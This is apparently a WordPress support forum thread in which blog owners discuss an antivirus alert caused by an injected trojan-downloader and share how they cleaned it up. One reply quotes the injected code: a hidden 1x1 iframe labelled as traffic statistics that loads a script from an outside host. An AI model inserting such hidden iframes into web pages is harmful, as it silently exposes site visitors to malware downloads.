Support » Fixing WordPress » Trojan-Downloader.HTML.Agent.is

  • hi everyone,
    recently my blog becomes so strange.
    when visitors visit my blog the anti-virus program pops out warning messages.
    my kaspersky anti-virus 6.0 says there’s a “Trojan-Downloader.HTML.Agent.is” in file “http://61.155.8.157/iframe/wp-stats.php”, but it seems like the file is not in my blog.
    i use k2 theme, but the problem remains when i switch to the default theme.
    has anybody met the same problem? can anybody help?
    thanks a lot……

    by the way the following is the url of my blog:
    http://www.stage23.url.tw/blog/

Viewing 8 replies - 1 through 8 (of 8 total)
  • It appears that you have the iframe hack. You can search this forum for iframe and find some good ideas for what to do

    I found the following code in three of my blog postings:

    <!– Traffic Statistics –> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!– End Traffic Statistics –>

    I have deleted this code, blocked the subnet 61.155.8.xxx and changed my admin password.

    I have the same problem here.

    But all there is now is a blank page. I can’t login as admin or do anything. I’m very concerned if my data is corrupted.

    Any help is greatly appreciated!

    You can visit the site but I don’t ahve the trojan fixed yet so watch out: http://www.community.learnsushi.org

    Btw I on wp 2.5

    Ok I’ve isolated the suspicous codes in my blog entries and got rid of them. Changed my password and deny its IP.

    However I still can’t get the site up and still have the same problem. Could I have missed the codes in some obscure portion of the site? I’m going dizzy simply doing this cos this is really my 1st with this.

    Anyone can help me out a lil bit?

    Ok I just realized my bb press been hit too.

    O.K. – so, I’ve had this code put on my site, and I’ve cleaned it from the site… how can I tell if my PC, Mac, and Linux machines have been infected? Is this a windows only trojan?

    whooami

    (@whooami)

    Member

    @joe

    I suggest you read my reply to your other remarks:

    http://wordpress.org/support/topic/179712?replies=6

Viewing 8 replies - 1 through 8 (of 8 total)
  • The topic ‘Trojan-Downloader.HTML.Agent.is’ is closed to new replies.